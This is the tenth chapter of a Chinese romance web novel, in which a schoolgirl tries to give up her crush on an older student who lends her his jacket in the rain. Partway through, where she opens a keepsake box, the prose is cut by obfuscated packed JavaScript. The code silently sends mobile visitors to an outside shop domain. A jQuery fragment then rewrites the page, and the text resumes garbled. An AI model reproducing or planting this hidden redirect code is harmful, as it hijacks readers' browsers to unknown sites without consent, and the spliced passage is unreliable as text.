第十章雨幕两端
校庆结束之后,温知夏大病了一场。
不知道是那晚在雨里走了太久,还是蹲在路边时吹了太久的冷风,又或者是某种积压已久的情绪终于找到了出口,总之第二天早上起来的时候,她的额头烫得能煎鸡蛋。
她请了三天假。
那三天里,她把自己裹在被子里,昏昏沉沉地睡。醒来的时候就盯着天花板发呆,看久了,那面白色的天花板似乎变成了幕布,不断重播着那天晚上秦屿川转身离开的背影。
一遍,又一遍。
苏晓来看过她一次,带了一碗皮蛋瘦肉粥和几盒感冒药。她坐在温知夏床边,絮絮叨叨地说着学校里的事。说校庆办得很成功,说那张海报被好多人拍了照发到网上,说下一周还有篮球赛。
温知夏靠在床头,小口小口地喝粥,时不时“嗯”一声,表示自己在听。
苏晓忽然凑过来,神神秘秘地说:“对了知夏,你知不知道高三有个叫周行的男生?”
温知夏摇了摇头。
“就是和秦屿川关系很好的那个,高高瘦瘦的,戴个黑色手绳那个。”苏晓比划着,“他今天跟我打听你了。”
温知夏的动作顿了一下:“打听我?”
“问你是哪个班的,叫什么名字,还问你平时喜欢画什么。”苏晓笑得促狭,“温知夏,你桃花运来了啊。”
温知夏没有接话。
她把碗放到床头柜上,重新缩回了被子里。
桃花运?
她不要什么桃花运。
她只想要一个不可能的人。
病好之后,温知夏回到学校,整个人比之前更沉默了一些。
她开始有意识地避开秦屿川。
食堂吃饭的时候,她不再挑靠窗的位置,而是坐到最角落的几排,背对着门的方向。课间操的时候,她的视线不再越过人群,去看高三的方阵。放学后,她也不再绕路经过篮球场了。
她想把自己从那段暗恋里一点一点地抽离出来。
可她发现,越是想躲,越是躲不掉。
他的消息还是会从四面八方涌进她的耳朵。秦屿川又赢了篮球赛,秦屿川模拟考进了年级前十,秦屿川和林微月放学一起走了,秦屿川被推荐去A大的自主招生了。
每一句关于他的消息,都像一颗小石子,投进她好不容易才平静下来的心湖里,荡开一圈圈涟漪。
温知夏觉得,自己像一个戒断中的病人。
表面上,她在努力地过好自己的生活。上课、画画、参加学生会的日常工作。可只有她自己知道,她每天要在心里默念多少遍“不要去看他”,才能克制住那些已经形成了一整年的习惯。
十二月上旬,南城的气温骤降。
前一天还是十七八度的天气,第二天就断崖似的跌到了六度。温知夏没看天气预报,穿着件薄外套就出了门,一整天都缩手缩脚的,手冻得连笔都握不稳。
下午放学的时候,天色阴沉得厉害。云层压得很低,像是要从天上塌下来。
温知夏快速收拾好书包,准备赶在下雨之前回家。
可她还是迟了一步。
刚走出教学楼,雨就落了下来。一开始只是几滴,稀稀拉拉的。温知夏加快脚步往校门口走,可还没走到一半,雨势就骤然变大,豆大的雨点劈里啪啦地砸下来,打得人眼睛都睁不开。
她没带伞。
温知夏站在教学楼和实验楼之间的连廊下,看着前面那一片白茫茫的雨幕,心里叹了口气。
她伸手摸了摸书包侧兜,什么也没有。自从秦屿川把校服罩在她头上的那天之后,她就养成了在包里放一把折叠伞的习惯。可今天出门太急,那把伞落在了书桌上。
她靠在廊柱上,想等雨小一些再走。
走廊上的人越来越少。有伞的都走了,没伞的要么被家长接走了,要么就三三两两地挤在别的避雨处。温知夏独自站在那里,看着雨水在地面上溅起一朵朵水花,耳朵里全是哗啦啦的雨声。
不知道过了多久,她听见一阵脚步声从走廊的另一头传来。
那脚步声很稳,踩在湿漉漉的地面上,每一步都带着一种她很熟悉的节奏。
温知夏的背僵了一下。
她没有回头。
可她身上的每一个毛孔,都在告诉她:是他。
秦屿川从她身后走了过来,在她旁边站定。
温知夏的眼角余光看到他胳膊上搭着一件校服外套,另一只手里拿着一把深蓝色的伞。
他没有撑伞。
也没有说话。
两个人就那样站在连廊下,隔着半米的距离,沉默地看着同一片雨幕。
温知夏觉得自己快要呼吸不过来了。
自从校庆那晚之后,她再也没有和他离得这么近过。她甚至以为,他们会一直那样远下去了。远到他毕业,远到她再也看不见他。
可现在,他就站在她旁边。
风从外面卷进来,把雨丝吹到她脸上,凉得她一激灵。她下意识地缩了一下肩膀。
秦屿川偏过头,看了她一眼。
然后,他把他手里的那件校服外套,扔了过来。
“拿着。”
他的语气很淡,像在说一件再普通不过的事。
温知夏下意识地伸出手,接住了那件外套。衣服上残留着他身上的温度和气味,瞬间占据了她的整个感官。
她愣愣地站在原地,像是被人按下了暂停键。
秦屿川没再看她。
他撑开手里那把深蓝色的伞,走进了雨里。
他走得很稳,步伐不疾不徐,像这场倾盆大雨和他毫无关系。
温知夏抱着那件校服外套,看着他的背影一点一点地消失在雨幕深处。
她忽然觉得眼眶热得发痛。
为什么呢?
为什么要在我已经决定要放弃你的时候,又做出这样的事?
她不明白。
也不愿意去细想。
她只是把怀里那件校服抱得更紧了一些。
雨声依旧很大,像要把整个世界都淹没。
温知夏回到家的第一件事,就是把那件校服小心翼翼地挂到椅背上。
和上一次一样。
浅蓝色的布料,有些潮,有些皱。她凑近闻了闻,上面有一股很淡的洗衣液味,还夹着一丝被雨淋过的清新。
她从抽屉里拿出那个铁盒,打开,看着里面仅有的几样东西。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17868979|212254||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
贺卡、草稿纸、生日贺卡。
还有那本速写本。
她想了想,从书包里掏出一个新的信封。那是一个浅黄色的牛皮纸信封,是她前两天在小卖部买文具时顺手拿的。
她把信封放在桌上,提起笔,在信封正面写下了一行字。
“秦屿川。”
然后又写下了他的名字。
和“亲启”两个字。
做完这些,她打开贺卡的内页,像以前一样,开始写。
“新年快乐,秦屿川。”
写到这里,她的笔停了。
过了很久,她接着写:“这是我喜欢你的第二年。”
笔尖顿了顿,又继续:“我知道你觉得我不该喜欢你。你可能也根本不希望我继续喜欢下去。可是我真的控制不住。”
“你对我笑一下,我就能开心一整天。你跟我多说一句话,我就能反复回想好几百遍。”
“我知道这样很傻。可是秦屿川,我真的……”
她没有写完。
“真的”后面是什么?她不知道。
真的喜欢他?真的放不下?真的想告诉他所有的心事?
最后,她只在下一行写了五个字:
“真的,新年快乐。”
写完这封贺卡,她把信纸小心翼翼地折好,塞进信封。
她没有封口。
因为她还没有决定,要不要把它放进那件校服的口袋里。
窗外,雨还在下。
温知夏趴在书桌上,看着那件挂在椅背上的校服,看了很久。
他的校服,第二次出现在她的房间里。
第一次,是那个十六岁的夏天,他把校服罩在她头上,然后自己跑进雨里。
第二次,是现在。
她在雨里等他,他把校服扔给了她。
温知夏忽然就想哭。
她不是那种爱哭的人。小时候摔跤了不哭,考砸了不哭,被父亲忽略了也不哭。她习惯把所有的情绪都往肚子里咽,不给人添麻烦,不让人看出她的脆弱。
可秦屿川,他好像总能轻而易举地踩中她最柔软的地方。
用一句话,一个动作,甚至一个眼神。
让她溃不成军。
温知夏起身,把校服从椅背上取下来,抱在怀里。
她把脸埋进那团浅蓝色的布料里。
然后,她很小声地说了一句:
“你不要对我好了。”
“真的,不要了。”
雨打在窗玻璃上,啪啪作响,像是在替她应诺。
可她知道,她根本舍不得。
他给过的所有好,她都记得一清二楚。每一帧,每一秒,都像是被刻进了骨血里,和她的生命长在了一起。
而现在,他给得越多,她就陷得越深。
等她终于想抽身的时候,才发现自己早就站在了泥潭中央。
动一下,就疼一下。
挪一步,就沉一分。
那个晚上,温知夏把写好的贺卡收了起来,没有塞进校服口袋里。
她怕他看到。
她更怕他看到了,却什么也不说。
那就真的,太疼了。
(第十章完)